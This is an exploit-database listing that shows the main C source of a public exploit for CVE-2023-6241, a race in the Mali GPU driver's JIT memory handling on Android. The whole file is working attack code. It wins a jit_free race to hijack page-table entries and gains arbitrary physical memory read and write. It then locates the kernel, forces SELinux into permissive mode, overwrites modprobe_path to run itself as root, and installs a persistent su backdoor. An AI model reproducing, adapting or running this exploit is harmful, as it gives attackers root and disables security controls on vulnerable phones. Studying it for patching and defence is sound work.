Exploit databaseDownload repository ZIP
GH-8e3c1d39665562e5488d9d10c1627a4c
r0rt1z2/cve-2023-6241-jm
Sources for CVE-2023-6241
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
r0rt1z2/cve-2023-6241-jmRevision 22c9271adb5e
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/main.c
C · 17,404 bytes#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "log.h"
#include "mali.h"
#include "profiles.h"
#include "su.h"
int child_main(void);
int payload_main(void);
static const struct profile* P;
#define IDTAB (P->idtab)
#define IMG_HEAD (P->img_head)
#define TEXT_VA (P->text_va)
#define SEL_ENF_VA (P->sel_enf_va)
#define MODPROBE_VA (P->modprobe_va)
#define MAXLIVE 64
static FILE *cin, *cout;
static pid_t child_pid;
static uint32_t live_chunk, live_page;
static int have_live, wrote_any;
static uint64_t phys_base;
static char self_path[256];
static unsigned thrash_ctr;
static char* crecv(char* buf, size_t n)
{
struct pollfd pfd = {.fd = fileno(cout), .events = POLLIN};
if(poll(&pfd, 1, 8000) <= 0)
{
return NULL;
}
return fgets(buf, (int)n, cout);
}
static int cresp(const char* prefix)
{
char b[256];
if(!crecv(b, sizeof b))
{
return -1;
}
return strncmp(b, prefix, strlen(prefix)) == 0 ? 0 : -1;
}
static void child_drain(void)
{
fprintf(cin, "X\n");
char b[512];
while(crecv(b, sizeof b))
{
if(b[0] == 'O' && b[1] == 'K')
{
break;
}
}
}
static int send_thrash(void)
{
fprintf(cin, "X %u\n", (thrash_ctr * 2) % 700);
thrash_ctr++;
return cresp("OK");
}
static void spawn_child(void)
{
int in[2], out[2];
if(pipe(in) || pipe(out))
{
bad("pipe");
exit(1);
}
child_pid = fork();
if(child_pid == 0)
{
dup2(in[0], 0);
dup2(out[1], 1);
for(int fd = 3; fd < 64; fd++)
{
close(fd);
}
execl(self_path, "mali_jit_jm", "child", (char*)0);
_exit(127);
}
close(in[0]);
close(out[1]);
cin = fdopen(in[1], "w");
cout = fdopen(out[0], "r");
setbuf(cin, NULL);
}
static uint32_t retarget(uint64_t base)
{
static struct pair js[511];
for(int i = 1; i <= 511; i++)
{
js[i - 1].addr = region_va + (uint64_t)(STALE_LO + live_page) * 0x1000 + (uint64_t)i * 8;
js[i - 1].val = PTE(base + (uint64_t)i * 0x1000);
}
return chain_run(js, 511, 10000);
}
static int map_read(uint64_t pa, void* out, int len)
{
unsigned char* o = out;
while(len > 0)
{
uint64_t page = pa & ~0xFFFull;
int frac = (int)(pa & 0xFFF);
int n = len < 0x1000 - frac ? len : 0x1000 - frac;
if(retarget(page - 0x1000) != 1 || send_thrash())
{
return -1;
}
fprintf(cin, "R %u %x %x\n", live_chunk, 0x1000u + (unsigned)frac, (unsigned)n);
char b[8192 + 16];
if(!crecv(b, sizeof b) || b[0] != 'D')
{
return -1;
}
for(int i = 0; i < n; i++)
{
unsigned v;
sscanf(b + 1 + i * 2, "%2x", &v);
o[i] = (unsigned char)v;
}
o += n;
pa += n;
len -= n;
}
return 0;
}
static int map_write(uint64_t pa, const void* buf, int len)
{
const unsigned char* b = buf;
while(len > 0)
{
uint64_t page = pa & ~0xFFFull;
int frac = (int)(pa & 0xFFF);
int n = len < 0x1000 - frac ? len : 0x1000 - frac;
if(retarget(page - 0x1000) != 1 || send_thrash())
{
return -1;
}
fprintf(cin, "W %u %x ", live_chunk, 0x1000u + (unsigned)frac);
for(int i = 0; i < n; i++)
{
fprintf(cin, "%02x", b[i]);
}
fprintf(cin, "\n");
if(cresp("OK"))
{
return -1;
}
b += n;
pa += n;
len -= n;
}
return 0;
}
static int window_scan(const unsigned char* needle, int nlen, uint64_t* hits, int max)
{
fprintf(cin, "C %u ", live_chunk);
for(int i = 0; i < nlen; i++)
{
fprintf(cin, "%02x", needle[i]);
}
fprintf(cin, "\n");
int nh = 0;
char b[256];
while(crecv(b, sizeof b))
{
if(b[0] == 'S')
{
break;
}
if(b[0] == 'H')
{
unsigned long off = 0;
sscanf(b + 4, "%lx", &off);
if(nh < max)
{
hits[nh] = off;
}
nh++;
}
}
return nh;
}
static void wipe_entries(void)
{
if(!wrote_any)
{
return;
}
static struct pair js[(STALE_N - WLO + 4) * 11];
int n = 0;
for(int p = WLO; p < STALE_N; p++)
{
for(int e = 1; e <= 11; e++)
{
js[n].addr = region_va + (uint64_t)(STALE_LO + p) * 0x1000 + (uint64_t)e * 8;
js[n].val = 0;
n++;
}
}
int extra[2] = {547, 1247};
for(int k = 0; k < 2; k++)
{
for(int e = 1; e <= 11; e++)
{
js[n].addr = region_va + (uint64_t)(STALE_LO + extra[k]) * 0x1000 + (uint64_t)e * 8;
js[n].val = 0;
n++;
}
}
chain_run(js, n, 10000);
if(have_live)
{
static struct pair j2[511];
for(int i = 1; i <= 511; i++)
{
j2[i - 1].addr =
region_va + (uint64_t)(STALE_LO + live_page) * 0x1000 + (uint64_t)i * 8;
j2[i - 1].val = 0;
}
chain_run(j2, 511, 10000);
have_live = 0;
}
wrote_any = 0;
}
static long read_memfree(void)
{
long kb = 0;
FILE* f = fopen("/proc/meminfo", "r");
if(f)
{
if(fscanf(f, "MemTotal: %*ld kB MemFree: %ld kB", &kb) != 1)
{
kb = 0;
}
fclose(f);
}
return kb;
}
static long prime_memory(void)
{
pid_t p = fork();
if(p == 0)
{
size_t sz = 400u << 20;
char* m = mmap(NULL, sz, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
if(m != MAP_FAILED)
{
for(size_t o = 0; o < sz; o += 0x1000)
{
m[o] = 1;
}
}
_exit(0);
}
if(p > 0)
{
int st;
waitpid(p, &st, 0);
}
sleep(12);
long kb = read_memfree();
info("memfree %ld kB", kb);
return kb;
}
static int identify_pairs(int* lc, uint64_t* lv, int nlive, int* res_chunk, int* res_page)
{
int nres = 0;
char b[256];
for(int i = 0; i < nlive; i++)
{
int cands[8], nc = 0;
for(int p = 0; p < STALE_N && nc < 8; p++)
{
if(IDTAB[p] == lv[i])
{
cands[nc++] = p;
}
}
if(nc == 1)
{
res_chunk[nres] = lc[i];
res_page[nres] = cands[0];
nres++;
}
else if(nc > 1)
{
struct pair dj[8];
for(int j = 0; j < nc; j++)
{
dj[j].addr = region_va + (uint64_t)(STALE_LO + cands[j]) * 0x1000 + 16;
dj[j].val = PTE(0x40080000ull + (uint64_t)j * 0x1000);
}
if(chain_run(dj, nc, 10000) != 1)
{
continue;
}
fprintf(cin, "B %u 2000\n", lc[i]);
uint64_t v2 = 0;
char st[8];
if(crecv(b, sizeof b) && b[0] == 'B' && sscanf(b + 2, "%*u %7s %llx", st, &v2) == 2 &&
!strcmp(st, "ok"))
{
for(int j = 0; j < nc; j++)
{
if(IDTAB[j] == v2)
{
res_chunk[nres] = lc[i];
res_page[nres] = cands[j];
nres++;
break;
}
}
}
}
}
return nres;
}
static int locate_kernel(int* res_chunk, int* res_page, int nres)
{
for(int i = 0; i < nres; i++)
{
live_chunk = res_chunk[i];
live_page = res_page[i];
have_live = 1;
uint64_t hits[4];
for(uint64_t w = DRAM_BASE; w < DRAM_BASE + 0x4000000ull; w += 0x1FF000ull)
{
if(retarget(w - 0x1000) != 1)
{
break;
}
send_thrash();
if(window_scan(IMG_HEAD, 16, hits, 4) > 0)
{
phys_base = w + hits[0] - 0x1000;
return 1;
}
}
}
return 0;
}
static int set_permissive(void)
{
uint64_t pa = phys_base + (SEL_ENF_VA - TEXT_VA);
unsigned char z[4] = {0, 0, 0, 0};
return map_write(pa, z, 4);
}
static int hijack_modprobe(long long t0)
{
uint64_t pa = phys_base + (MODPROBE_VA - TEXT_VA);
char trig[256];
snprintf(trig, sizeof trig, "%s.trig", self_path);
int tfd = open(trig, O_CREAT | O_WRONLY | O_TRUNC, 0755);
if(tfd < 0)
{
return -1;
}
if(write(tfd, "\xff\xff\xff\xffMALI", 8) < 0)
{
}
close(tfd);
unsigned char zeros[64];
memset(zeros, 0, sizeof zeros);
int plen = (int)strlen(self_path) + 1;
info("modprobe_path %#llx -> %s", (unsigned long long)pa, self_path);
for(int t = 0; t < 3; t++)
{
map_write(pa, zeros, sizeof zeros);
if(map_write(pa, self_path, plen) != 0)
{
continue;
}
info("trigger %d", t);
pid_t p = fork();
if(p == 0)
{
execl(trig, "t", (char*)0);
_exit(1);
}
int st;
waitpid(p, &st, 0);
usleep(300000);
FILE* g = fopen("/data/local/tmp/mali_jit_jm.ready", "r");
if(g)
{
char lb[128];
int uid = -1;
long long ts = -1;
if(fgets(lb, sizeof lb, g) && sscanf(lb, "uid=%d", &uid) == 1)
{
char* p2 = strstr(lb, "ts=");
if(p2)
{
sscanf(p2, "ts=%lld", &ts);
}
}
fclose(g);
if(uid == 0 && ts >= t0 - 5)
{
char* cx = strstr(lb, "context=");
if(cx)
{
cx += 8;
char* e = strchr(cx, '\n');
if(e)
{
*e = 0;
}
}
good("payload uid=0 (%s)", cx ? cx : "?");
return 0;
}
}
}
return -1;
}
static int run_attempt(int a, int delay)
{
if(mali_open() < 0)
{
bad("mali_open");
return -1;
}
child_drain();
uint32_t code = 0;
if(jit_alloc(C2, &code) != 0 || code != 0x1)
{
bad("a%d: jit_alloc ev=0x%x", a, code);
return 0;
}
region_va = *(volatile uint64_t*)scratch;
uint32_t p1 = probe_write(F1, 0x1111, 10000);
uint64_t n1 = mem_query(region_va);
if(p1 != 0x1 || n1 != F1 + 1)
{
bad("a%d: setup fault ev=0x%x nents=%llu", a, p1, (unsigned long long)n1);
return 0;
}
size_t clen = (size_t)(F1 + 1 - C2) * 0x1000;
uint8_t* cm =
mmap(NULL, clen, PROT_READ, MAP_SHARED, mali_fd, (off_t)(region_va + C2 * 0x1000));
if(cm != MAP_FAILED)
{
for(volatile uint8_t* v = cm; (uint8_t*)v < cm + clen; v += 0x1000)
{
(void)*v;
}
}
struct wv_job* j = (struct wv_job*)jobbuf;
memset(j, 0, sizeof *j);
j->w0 = 1u | (2u << 1) | (1u << 16);
j->address = region_va + F2 * 0x1000;
j->wtype = 7;
j->value = 0x2222;
{
struct mem_sync ms;
memset(&ms, 0, sizeof ms);
ms.handle = (uintptr_t)jobbuf;
ms.user_addr = (uintptr_t)jobbuf;
ms.size = 0x1000;
ms.type = 1;
ioctl(mali_fd, IOC_MEM_SYNC, &ms);
}
struct atom wj;
memset(&wj, 0, sizeof wj);
wj.jc = (uintptr_t)jobbuf;
wj.atom_number = atom_ctr++;
wj.core_req = REQ_CS | REQ_SPECIFIC;
if(submit(&wj) < 0)
{
return -1;
}
if(delay > 0)
{
usleep((useconds_t)delay);
}
uint32_t fcode = 0;
if(jit_free(&fcode) != 0)
{
return 0;
}
uint32_t jcode = 0;
wait_atom(wj.atom_number, &jcode, 10000);
uint64_t n2 = mem_query(region_va);
uint64_t probes[5] = {F2 - 1500, F2 - 800, F2 - 300, F2 - 100, F2};
int mapped = 0;
for(int i = 0; i < 5; i++)
{
if(probe_write(probes[i], 0x3333 + i, 5000) == 0x1)
{
mapped++;
}
}
info("a%d d=%d: free 0x%x job 0x%x nents %llu->%llu mapped %d/5", a, delay, fcode, jcode,
(unsigned long long)n1, (unsigned long long)n2, mapped);
if(mapped < 5)
{
return 0;
}
good("a%d: race won (d=%dus)", a, delay);
struct pair self[5];
for(int i = 0; i < 5; i++)
{
self[i].addr = region_va + probes[i] * 0x1000 + 8;
self[i].val = PTE(IDPHYS);
}
uint32_t trc = chain_run(self, 5, 10000);
info("a%d: self-test rc=0x%x", a, trc);
if(trc != 1)
{
return 0;
}
wrote_any = 1;
fprintf(cin, "T\n");
char b[512];
int n = 0;
while(n++ < 40 && crecv(b, sizeof b) && strncmp(b, "TOUCHED", 7))
;
if(strncmp(b, "TOUCHED", 7))
{
bad("a%d: child touch failed", a);
return 0;
}
info("a%d: child touched", a);
static struct pair js[STALE_N];
int nw = 0;
for(int p = WLO; p < STALE_N; p++)
{
js[nw].addr = region_va + (uint64_t)(STALE_LO + p) * 0x1000 + 8;
js[nw].val = PTE(0x40080000ull + (uint64_t)p * 0x1000);
nw++;
}
if(chain_run(js, nw, 10000) != 1)
{
bad("a%d: discovery chain failed", a);
return 0;
}
fprintf(cin, "P 1000\n");
static int lc[MAXLIVE];
static uint64_t lv[MAXLIVE];
int nlive = 0;
while(crecv(b, sizeof b) && b[0] == 'P' && b[1] == ' ')
{
int c;
char st[8];
uint64_t v = 0;
if(sscanf(b + 2, "%d %7s %llx", &c, st, &v) == 3 && !strcmp(st, "ok") && v &&
nlive < MAXLIVE)
{
lc[nlive] = c;
lv[nlive] = v;
nlive++;
}
}
info("a%d: live chunks=%d", a, nlive);
if(!nlive)
{
return 0;
}
good("reclaimed %d pte pages", nlive);
int res_chunk[MAXLIVE], res_page[MAXLIVE];
int nres = identify_pairs(lc, lv, nlive, res_chunk, res_page);
if(!locate_kernel(res_chunk, res_page, nres))
{
return 0;
}
good("kbase @ %#llx", (unsigned long long)phys_base);
if(set_permissive() == 0)
{
good("selinux permissive");
}
long long t0 = time(0);
if(hijack_modprobe(t0) != 0)
{
bad("modprobe trigger failed");
return 0;
}
good("su installed (su / su -c ...)");
return 1;
}
static int select_profile(void)
{
char v[256] = {0};
int fd = open("/proc/version", O_RDONLY);
if(fd >= 0)
{
int n = (int)read(fd, v, sizeof v - 1);
if(n > 0)
{
v[n] = 0;
}
close(fd);
}
char* nl = strchr(v, '\n');
if(nl)
{
*nl = 0;
}
for(int i = 0; i < N_PROFILES; i++)
{
if(!strcmp(PROFILES[i].banner, v))
{
P = &PROFILES[i];
break;
}
}
if(!P)
{
bad("unsupported kernel: %s", v);
return -1;
}
info("%s", P->ver);
return 0;
}
static void orchestrate(int attempts, int base, int step)
{
if(select_profile() != 0)
{
return;
}
readlink("/proc/self/exe", self_path, sizeof self_path - 1);
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
sched_setaffinity(0, sizeof set, &set);
info("priming");
prime_memory();
info("jit_free race, %d attempts, delay %d..%dus", attempts, base,
base + (attempts - 1) * step);
spawn_child();
int won = 0;
for(int a = 0; a < attempts && !won; a++)
{
int r = run_attempt(a, base + a * step);
if(r == 1)
{
won = 1;
}
wipe_entries();
if(mali_fd >= 0)
{
close(mali_fd);
mali_fd = -1;
}
}
if(won)
{
good("rooted");
}
else
{
bad("no hit in %d attempts", attempts);
}
fprintf(cin, "Q\n");
if(won && getuid() != 0)
{
if(su_wait_ready(50))
{
good("elevating shell to root");
char su0[] = "su";
char* sh_argv[] = {su0, NULL};
exit(su_client_main(1, sh_argv));
}
bad("su daemon not ready, run su manually");
}
}
int main(int argc, char** argv)
{
const char* b = strrchr(argv[0], '/');
b = b ? b + 1 : argv[0];
if(!strcmp(b, "su"))
{
return su_client_main(argc, argv);
}
if(argc > 1 && !strcmp(argv[1], "--su-daemon"))
{
return su_daemon_main();
}
if(getuid() == 0)
{
return payload_main();
}
if(argc > 1 && !strcmp(argv[1], "child"))
{
return child_main();
}
int attempts = argc > 1 ? atoi(argv[1]) : 60;
int base = argc > 2 ? atoi(argv[2]) : 0;
int step = argc > 3 ? atoi(argv[3]) : 150;
orchestrate(attempts, base, step);
return 0;
}